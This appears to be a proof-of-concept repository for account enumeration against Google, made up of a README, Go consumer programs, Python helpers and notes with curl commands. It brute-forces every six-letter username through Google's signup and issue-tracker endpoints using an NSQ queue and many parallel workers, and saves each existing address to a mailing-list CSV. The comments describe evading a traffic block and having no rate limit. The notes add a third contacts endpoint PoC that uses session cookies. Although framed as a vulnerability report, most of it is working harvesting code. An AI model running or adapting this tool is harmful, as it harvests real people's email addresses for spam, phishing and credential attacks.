README.md

Proof of concept - OWASP-AT-002

Install NSQ

https://nsq.io/deployment/installing.html

Start NSQ services

nsqlookupd &
nsqd --lookupd-tcp-address=127.0.0.1:4160 --broadcast-address=0.0.0.0 &
nsqadmin --lookupd-http-address=127.0.0.1:4161 &

Compile NSQ consumer in Go

before compiling you must adjust the constants defined in the consumer.go or consumer-new.go

const (
    // IP of the NSQd service, simple connection to a single message queue service. Enough for the example. (local or online)
    HttpAddressNSQD = "127.0.0.1:4150"
    // You can adjust a higher value, just make sure that your operating system and network settings allow it.
    ConcurrentHandlers = 80
    // https://godoc.org/github.com/nsqio/go-nsq#Consumer.ChangeMaxInFlight
    MaxInFlight = 100
    // Output file where server responses are stored. raw format.
    RawFileName = "response_raw.txt"
    // You must establish a normal Google session cookie, without any special privileges.
    Cookie_SID_HSID_SSID = "SID=...; HSID=...; SSID=..."; // only for consumer.go 
    // the new method does not require a google session, see consumer-new.go
)

go build consumer.go

go build consumer-new.go

Start programs to consume message queue

Run several consumer programs. Depending on how you configure the IP and ports, you can run them locally or on multiple computers with Internet access. Obviously you can run more than one consumer program per computer. Each program works separately in parallel. It is recommended a correct configuration of the files "/etc/security/limits.conf" and "/etc/sysctl.conf" in linux.

touch response_raw.txt
./consumer &
./consumer &
./consumer &
./consumer &
./consumer &

Or

touch list_mail.txt
./consumer-new &
./consumer-new &
./consumer-new &
./consumer-new &
./consumer-new &

Load message queue

Once the program sends the data, it ends. You can run it to reload the data in the message queue whenever you want. In case there are no consumers the messages are waiting.

go build producer.go
./producer

This program (producer.go) is not finished instead use the following alternative:

Load the message queue from a file generated by genInputUsers.py

./genInputUsers.py
sudo nice -n -20 cat inputUsers_6.txt | sudo nice -n -20 to_nsq -topic="topic_test" -nsqd-tcp-address="127.0.0.1:4150" &

this prefix "sudo nice -n-20" is optional. it's just to ensure the highest priority.

In testing: replace the cat command with fastcat https://matthias-endler.de/2018/fastcat/

sudo nice -n -20 fastcat inputUsers_6.txt | sudo nice -n -20 to_nsq -topic="topic_test" -nsqd-tcp-address="127.0.0.1:4150" &

Convert raw file into CSV

After obtaining the "response_raw.txt" it can be converted into a mailing list, in a universal format. CSV This is just an extra example utility.

./exportToCSV.py

Administration panel

http://localhost:4171

Author: Guillermo Céspedes dev.dertin@gmail.com

consumer-new.go

// Author: Guillermo Céspedes <dev.dertin@gmail.com>
// Code for tests. It is not optimized.

// Proof of concept. It works, but it is developing. improvements.

/*
This new method does not require a Google session and is not blocked by unusual traffic.
The previous method was blocked only when the same Google session was used on two different IP addresses (this happened due to a human configuration error).
In neither of the two methods was a control found in the limit of sent requests.
*/

package main

import (
    "errors"
    "log"
    "os"
    "os/signal"
    "syscall"
    "io/ioutil"
    "net"
    "net/http"
    "net/url"
    "crypto/tls"
    "context"
    // "net/http/httputil"
    "regexp"
    "strings"
    "bytes"
    "time"


    "github.com/nsqio/go-nsq"
)

const (
    // IP of the NSQd service, simple connection to a single message queue service. Enough for the example. (local or online)
    HttpAddressNSQD = "127.0.0.1:4150"
    // You can adjust a higher value, just make sure that your operating system and network settings allow it.
    ConcurrentHandlers = 80
    // https://godoc.org/github.com/nsqio/go-nsq#Consumer.ChangeMaxInFlight
    MaxInFlight = 100
    // Output file where server responses are stored. raw format.
    RawFileName = "list_mail_005.txt"
    // Time out
    HttpTimeout = time.Duration(15 * time.Second)
)

var fileOutput *os.File
var globalToken = ""

var TransportDialer = &net.Dialer{
    Timeout:   HttpTimeout,
}

// struct of the http response
type HTTPResponse struct {
    status string
    body   []byte
}

// MessageHandler adheres to the nsq.Handler interface.
type MessageHandler struct{
    currToken *string
    error int
}

// Function that processes the received message
func (h *MessageHandler) HandleMessage(m *nsq.Message) error {

    if len(m.Body) == 0 {
        return errors.New("message is blank - re-enqueue message")
    }

    if *h.currToken == "" || h.error > ConcurrentHandlers {
        newToken, errToken := GetNewToken()
        if errToken != nil {
            log.Print(errToken)
            return errors.New("error get token - re-enqueue message")
        }
        *h.currToken = newToken // set token
        h.error = 0 // reset error
        log.Print("--- NEW TOKEN ---")
    }

    strUsername := string(m.Body[:])

    data := url.Values{}
    // f.req=['TOKEN','XXXXXX','XXXXXX','','','dev.dertinNoExist','qwertyqwerty','',true]
    data.Set("f.req", "['"+*h.currToken+"','XXXXXX','XXXXXX','','','"+strUsername+"','qwertyqwerty','',true]")

    responseHTTPPost, errHTTPPost := DoHTTPPost("https://accounts.google.com/_/signup/accountdetails", data)
    if errHTTPPost != nil {
        h.error++
        log.Print(errHTTPPost)
        return errors.New("error request - re-enqueue message")
    }

    raw_body := string(responseHTTPPost.body)

    log.Print(raw_body)

    if responseHTTPPost.status != "200 OK" {
        h.error++
        log.Print("error response:" + responseHTTPPost.status)
        return errors.New("error response - re-enqueue message")
    }

    if strings.Contains(raw_body, "1,["){ // not exist
        h.error = 0
        return nil // OK - handled with success
    } else if strings.Contains(raw_body, "2,[") { // exist
        log.Print(strUsername + "@gmail.com")
        _, errFileWrite := fileOutput.WriteString(strUsername + "@gmail.com\r\n")
        if errFileWrite != nil {
            h.error++
            log.Print(errFileWrite)
            return errors.New("error save file")
        }
        h.error = 0
        return nil // OK - handled with success
    } else if strings.Contains(raw_body, ",3]"){ // - error token
        h.error = 99 // force clear token
        return errors.New("invalid token - re-enqueue message")
    } else {
        h.error++
        return errors.New("error response type - re-enqueue message")
    }
    h.error++
    return errors.New("default error - re-enqueue message")
}

// Function to send "GET" requests to the server and get a response.
func DoHTTPGet(url string) (HTTPResponse, error) {

    request, err := http.NewRequest("GET", url, nil)

    if err != nil {
        log.Print(err)
        return HTTPResponse{}, err
    }
    request.Header.Set("Connection", "close")

    TransportInsecure := &http.Transport {
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
        DialContext:  func(ctx context.Context, network, addr string) (net.Conn, error) {
            log.Print(addr)
            if addr == "accounts.google.com:443"{
                addr = "216.58.202.45:443"
            }
            return TransportDialer.DialContext(ctx, network, addr)
        },
        Dial:   func(netw, addr string) (net.Conn, error) {
            deadline := time.Now().Add(HttpTimeout)
            c, err := net.DialTimeout(netw, addr, HttpTimeout  - time.Second * 5)
            if err != nil {
            	return nil, err
            }
            c.SetDeadline(deadline)
            return c, nil
		},
        TLSHandshakeTimeout: HttpTimeout,
    }

    var client = &http.Client{
        Timeout: HttpTimeout,
        Transport: TransportInsecure,
    }
    httpResponse, err := client.Do(request)

    if err != nil {
        log.Print(err)
        return HTTPResponse{}, err
    }

    defer httpResponse.Body.Close()

    // requestDump, err := httputil.DumpRequest(request, true)
    // if err != nil {
    //   log.Print(err)
    // }
    // log.Print(string(requestDump))

    httpBody, err := ioutil.ReadAll(httpResponse.Body)
    if err != nil {
        log.Print(err)
        return HTTPResponse{}, err
    }

    // Send an HTTPResponse
    return HTTPResponse{httpResponse.Status, httpBody}, nil
}

// Function to send "POST" requests to the server and get a response.
func DoHTTPPost(url string, data url.Values) (HTTPResponse, error) {

    bytesData := bytes.NewBufferString(data.Encode())

    request, err := http.NewRequest("POST", url, bytesData)

    if err != nil {
        log.Print(err)
        return HTTPResponse{}, err
    }

    request.Header.Set("google-accounts-xsrf", "1") // It is required
    request.Header.Add("Content-Type", "application/x-www-form-urlencoded")
    request.Header.Add("Connection", "close")
    //request.Header.Add("Content-Length", strconv.Itoa(len(data.Encode())))

    TransportInsecure := &http.Transport {
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
        DialContext:  func(ctx context.Context, network, addr string) (net.Conn, error) {
            if addr == "accounts.google.com:443"{
                addr = "216.58.202.45:443"
            }
            return TransportDialer.DialContext(ctx, network, addr)
        },
        Dial:   func(netw, addr string) (net.Conn, error) {
            deadline := time.Now().Add(HttpTimeout)
            c, err := net.DialTimeout(netw, addr, HttpTimeout  - time.Second * 5)
            if err != nil {
                return nil, err
            }
            c.SetDeadline(deadline)
            return c, nil
        },
        TLSHandshakeTimeout: HttpTimeout,
    }

    var client = &http.Client{
        Timeout: HttpTimeout,
        Transport: TransportInsecure,
    }
    httpResponse, err := client.Do(request)

    if err != nil {
        log.Print(err)
        return HTTPResponse{}, err
    }

    defer httpResponse.Body.Close()

    // requestDump, err := httputil.DumpRequest(request, true)
    // if err != nil {
    //   log.Print(err)
    // }
    // log.Println(string(requestDump))

    httpBody, err := ioutil.ReadAll(httpResponse.Body)
    if err != nil {
        log.Print(err)
        return HTTPResponse{}, err
    }

    // Send an HTTPResponse
    return HTTPResponse{httpResponse.Status, httpBody}, nil
}

// Cross-site request forgery (CSRF Token)
func GetNewToken() (string, error) {

    responseHTTPGet, errHTTPGet := DoHTTPGet("https://accounts.google.com/signup/v2?flowEntry=SignUp&flowName=GlifWebSignIn")
    if errHTTPGet != nil {
        log.Print(errHTTPGet)
        return "", errors.New("error token request")
    }
    // Get the token
    var re = regexp.MustCompile(`(?m)(data-initial-setup-data=).*(&quot;).+(&quot;).+(&quot;)(.*)(&quot;)`)
    matches := re.FindStringSubmatch(string(responseHTTPGet.body))

    if len(matches) > 5 && matches[5] != "" {
        return matches[5], nil
    }

    return "", errors.New("error token")
}

func main() {

    // Open file where valid emails are stored.
    var errFile error
    pathOutput := RawFileName
    fileOutput, errFile = os.OpenFile(pathOutput, os.O_APPEND|os.O_WRONLY, os.ModeAppend)
    if errFile != nil {
        log.Fatal(errFile)
        return
    }
    defer fileOutput.Close()

    // Init Token
    globalToken, errToken := GetNewToken()
    if errToken != nil {
        log.Fatal(errToken)
        return
    }

    // The default config settings
    config := nsq.NewConfig()

    // Create a NewConsumer with the name of our topic, the channel, and our config
    consumer, errNewConsumer := nsq.NewConsumer("topic_test", "channel", config)
    if errNewConsumer != nil {
        log.Fatal("fatal error when creating consumer.")
    }

    // Set the number of messages that can be in flight at any given time
    // you'll want to set this number as the default is only 1. This can be
    // a major concurrency knob that can change the performance of your application.
    consumer.ChangeMaxInFlight(MaxInFlight)

    // Injects our handler into the consumer. You'll define one handler
    // per consumer, but you can have as many concurrently running handlers
    // as specified by the second argument. If your MaxInFlight is less
    // than your number of concurrent handlers you'll  starve your workers
    // as there will never be enough in flight messages for your worker pool

    consumer.AddConcurrentHandlers(
        &MessageHandler{currToken: &globalToken, error: 0},
        ConcurrentHandlers,
    )

    // Connect directly
    errConnect := consumer.ConnectToNSQD(HttpAddressNSQD)
    if errConnect != nil {
        log.Fatal("fatal error can not connect to the message queue server")
    }

    // Let's allow our queues to drain properly during shutdown.
    // We'll create a channel to listen for SIGINT (Ctrl+C) to signal
    // to our application to gracefully shutdown.
    shutdown := make(chan os.Signal, 2)
    signal.Notify(shutdown, syscall.SIGINT)

    // This is our main loop. It will continue to read off of our nsq
    // channel until either the consumer dies or our application is signaled
    // to stop.
    for {
        select {
        case <-consumer.StopChan:
            return // uh oh consumer disconnected. Time to quit.
        case <-shutdown:
            // Synchronously drain the queue before falling out of main
            consumer.Stop()
        }
    }
}

consumer.go

// Author: Guillermo Céspedes <dev.dertin@gmail.com>
// DEVELOPMENT VERSION WITH GOOGLE EMAIL VERIFICATION
// Code for tests. It is not optimized.

// After receiving my security report, Google adds a block for unusual traffic.
// Alternative new method see consumer-new.go

package main

import (
    "errors"
    "log"
    "os"
    "os/signal"
    "syscall"
    "io/ioutil"
    "net"
    "net/http"
    "context"
    "time"
    "crypto/tls"

    "github.com/nsqio/go-nsq"
)

const (
    // IP of the NSQd service, simple connection to a single message queue service. Enough for the example. (local or online)
    HttpAddressNSQD = "127.0.0.1:4150"
    // You can adjust a higher value, just make sure that your operating system and network settings allow it.
    ConcurrentHandlers = 80
    // https://godoc.org/github.com/nsqio/go-nsq#Consumer.ChangeMaxInFlight
    MaxInFlight = 100
    // Output file where server responses are stored. raw format.
    RawFileName = "response_raw.txt"
    // You must establish a normal Google session cookie, without any special privileges.
    Cookie_SID_HSID_SSID = "SID=; HSID=; SSID=;";
    // Time out
    HttpTimeout = time.Duration(15 * time.Second)
)

var fileOutput *os.File
var TransportDialer = &net.Dialer{
    Timeout:   HttpTimeout,
}
// struct of the http response
type HTTPResponse struct {
    status string
    body   []byte
}

// MessageHandler adheres to the nsq.Handler interface.
type MessageHandler struct{}

// Function that processes the received message
func (h *MessageHandler) HandleMessage(m *nsq.Message) error {
    if len(m.Body) == 0 {
        return errors.New("body is blank re-enqueue message")
    }
    // TODO: Think about the most efficient way to process the response received from the GET request.
    strUsername := string(m.Body[:])
    responseHTTPGet, errHTTPGet := DoHTTPGet("https://issuetracker.google.com/action/user_profiles?usernames="+strUsername+"@gmail.com")
    if errHTTPGet != nil {
        log.Print(errHTTPGet)
        return errors.New("error request")
    }
    raw_body := string(responseHTTPGet.body)

    log.Print(raw_body)

    if responseHTTPGet.status != "200 OK" {
        log.Print("error response:" + responseHTTPGet.status)
        return errors.New("error response - re-enqueue message")
    }

    length := len(raw_body)

    if length > 3500 { // this value is somewhat high because a lot of text was found in the "displayName" field
        // If the response of the server contains a lot of information, it is assumed that there is a redirection to the google login,
        // because the google session was lost.
        log.Fatal("fatal error possible session problem")
        // TODO: get new google session and retry
    }

    // the server response has useful data
    if length > 10 {
        _, errFileWrite := fileOutput.WriteString(raw_body)
        if errFileWrite != nil {
            log.Print(errFileWrite)
            return errors.New("error when saving to the raw file")
        }
    }

    // Returning nil signals to the consumer that the message has
    // been handled with success. A FIN is sent to nsqd
    return nil
}

// Function to send request to the server and get a response.
func DoHTTPGet(url string) (HTTPResponse, error) {

    request, err := http.NewRequest("GET", url, nil)

    if err != nil {
        log.Print(err)
        return HTTPResponse{}, err
    }

    request.Header.Set("Cookie", Cookie_SID_HSID_SSID)
    request.Header.Add("Connection", "close")

    TransportInsecure := &http.Transport {
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
        DialContext:  func(ctx context.Context, network, addr string) (net.Conn, error) {
            log.Print(addr)
            if addr == "issuetracker.google.com:443"{
                addr = "172.217.162.14:443"
            }
            if addr == "accounts.google.com:443"{
                addr = "216.58.202.45:443"
            }
            return TransportDialer.DialContext(ctx, network, addr)
        },
        Dial:   func(netw, addr string) (net.Conn, error) {
            deadline := time.Now().Add(15 * time.Second)
            c, err := net.DialTimeout(netw, addr, time.Second*10)
            if err != nil {
                return nil, err
            }
            c.SetDeadline(deadline)
            return c, nil
        },
        TLSHandshakeTimeout: 2 * time.Second,
    }

    var client = &http.Client{
        Timeout: HttpTimeout,
        Transport: TransportInsecure,
    }
    httpResponse, err := client.Do(request)

    if err != nil {
        log.Print(err)
        return HTTPResponse{}, err
    }

    defer httpResponse.Body.Close()

    httpBody, err := ioutil.ReadAll(httpResponse.Body)
    if err != nil {
        log.Print(err)
        return HTTPResponse{}, err
    }

    // Send an HTTPResponse
    return HTTPResponse{httpResponse.Status, httpBody}, nil
}

func main() {

    // Open file where the raw information is saved.
    var err error
    pathOutput := RawFileName
    fileOutput, err = os.OpenFile(pathOutput, os.O_APPEND|os.O_WRONLY, os.ModeAppend)
    if err != nil {
        log.Print(err)
        return
    }
    defer fileOutput.Close()

    // The default config settings
    config := nsq.NewConfig()

    // Create a NewConsumer with the name of our topic, the channel, and our config
    consumer, errNewConsumer := nsq.NewConsumer("topic_test", "channel", config)
    if errNewConsumer != nil {
        log.Fatal("fatal error when creating consumer.")
    }

    // Set the number of messages that can be in flight at any given time
    // you'll want to set this number as the default is only 1. This can be
    // a major concurrency knob that can change the performance of your application.
    consumer.ChangeMaxInFlight(MaxInFlight)

    // Injects our handler into the consumer. You'll define one handler
    // per consumer, but you can have as many concurrently running handlers
    // as specified by the second argument. If your MaxInFlight is less
    // than your number of concurrent handlers you'll  starve your workers
    // as there will never be enough in flight messages for your worker pool
    consumer.AddConcurrentHandlers(
        &MessageHandler{},
        ConcurrentHandlers,
    )

    // Connect directly
    errConnect := consumer.ConnectToNSQD(HttpAddressNSQD)
    if errConnect != nil {
        log.Fatal("fatal error can not connect to the message queue server")
    }

    // Let's allow our queues to drain properly during shutdown.
    // We'll create a channel to listen for SIGINT (Ctrl+C) to signal
    // to our application to gracefully shutdown.
    shutdown := make(chan os.Signal, 2)
    signal.Notify(shutdown, syscall.SIGINT)

    // This is our main loop. It will continue to read off of our nsq
    // channel until either the consumer dies or our application is signaled
    // to stop.
    for {
        select {
        case <-consumer.StopChan:
            return // uh oh consumer disconnected. Time to quit.
        case <-shutdown:
            // Synchronously drain the queue before falling out of main
            consumer.Stop()
        }
    }
}

exportToCSV.py

#!/usr/bin/env python3
# Author: Guillermo Céspedes <dev.dertin@gmail.com>

# Example program, to obtain emails from the raw file. 
# It can be modified to obtain the name and photo as optional values.

import re

def grab_email(file = []):

    found = []
    mailsrch = re.compile(r'[\w\-][\w\-\.]+@[\w\-][\w\-\.]+[a-zA-Z]{1,4}')
    for line in open(file,'r'):
        found.extend(mailsrch.findall(line))

    u = {}
    for item in found:
        u[item] = 1

    return u.keys()

listMails = grab_email('response_raw.txt')
fileMail = open('list_mails_6.csv', 'a')
for mail in listMails:
    fileMail.write(mail+'\n')
fileMail.close()

genInputUsers.py

#!/usr/bin/env python3
# Author: Guillermo Céspedes <dev.dertin@gmail.com>

import itertools
import os.path

file_name = 'inputUsers_6.txt'

def lottery(length, seq):
    file = open(file_name, 'w+')
    for username in itertools.product(seq, repeat=length):
        file.write(''.join(username)+'\n')
    file.close()

print("Google Account")

lottery(6, "etaonrishdlfcmugypwbvkxjqz") # length, a-z

producer.go

// Author: Guillermo Céspedes <dev.dertin@gmail.com>

// I recommend using the "to_nsq" command instead of the producer.go
// $ cat inputUsers_6.txt | to_nsq -topic="topic_test" -nsqd-tcp-address="127.0.0.1:4150"

// I leave the code as an example, in case you want to use it in another way.

package main

import (
  "log"
  "strconv"

  "github.com/nsqio/go-nsq"
)

func main() {
  
  // Quick and basic configuration
  config := nsq.NewConfig()

  // Create a NewProducer
  w, _ := nsq.NewProducer("127.0.0.1:4150", config)

  // TODO: The speed at which messages are prepared to be sent to the queue must be optimized.

  var buf [][]byte
  for i := 0; i < 531441; i++ {
    buf = append(buf, []byte(strconv.Itoa(i)))

    // err := w.Publish("topic_test", []byte(strconv.Itoa(i)))
    // if err != nil {
    //     log.Panic("Could not connect")
    // }
  }
  
  // TODO: https://nsq.io/components/nsqd.html#post-mpub

  // Send multiple messages to the queue.
  err := w.MultiPublish("topic_test", buf);
  if err != nil {
      log.Panic("error connect")
  }

  w.Stop()
}

NOTE:

########
https://issuetracker.google.com/action/user_profiles?usernames=mail@gmail.com

https://gist.github.com/dertin/a24b35e230f9022c5dec380845cba68c

#########

https://accounts.google.com/_/signup/accountdetails

curl 'https://accounts.google.com/signup/v2?flowEntry=SignUp&flowName=GlifWebSignIn' | grep 'data-initial-setup-data=' | awk -v FS="("|")" '{print $4}'

// Not Exist.
$ while true; do TOKEN=$(curl 'https://accounts.google.com/signup/v2?flowEntry=SignUp&flowName=GlifWebSignIn' | grep 'data-initial-setup-data=' | awk -v FS="("|")" '{print $4}'); REQ="f.req=[%22${TOKEN}%22,'XXXXXX','XXXXXX','','','mailUserNoExist','qwertyqwerty','',true]"; curl "https://accounts.google.com/_/signup/accountdetails" -H "google-accounts-xsrf: 1" --data "${REQ}"; sleep 1; clear; done

// Exist
$ while true; do TOKEN=$(curl 'https://accounts.google.com/signup/v2?flowEntry=SignUp&flowName=GlifWebSignIn' | grep 'data-initial-setup-data=' | awk -v FS="("|")" '{print $4}'); REQ="f.req=[%22${TOKEN}%22,'XXXXXX','XXXXXX','','','mailUserValid','qwertyqwerty','',true]"; curl "https://accounts.google.com/_/signup/accountdetails" -H "google-accounts-xsrf: 1" --data "${REQ}"; sleep 1; clear; done

#########

https://contacts.google.com/_/SocialPeopleHovercardUi/data/batchexecute

PoC - third vulnerable petition

1 - Get token xsrf:
curl 'https://contacts.google.com/_/SocialPeopleHovercardUi/data/batchexecute' -H 'Cookie: SID=...; HSID=...; SSID=...' --data 'f.req=[]'
// token example: APz-wkZu2FLkVB1xmmw3o5qDRqMG:1543099222124

2- Add the token in the parameter called "at"
curl 'https://contacts.google.com/_/SocialPeopleHovercardUi/data/batchexecute' -H 'Cookie: SID=...; HSID=...; SSID=...' --data 'f.req=[[["WWoa8","[null,"mail@gmail.com",7,[1,2]]",null,"generic"]]]&at=APz-wkZwQjIBBKTHSOqxdffkw3vV:1543095221187'

https://gist.github.com/dertin/94b87b31b8e9eb0f1a771d5493510ff8
https://www.youtube.com/watch?v=jo0fd4qInWM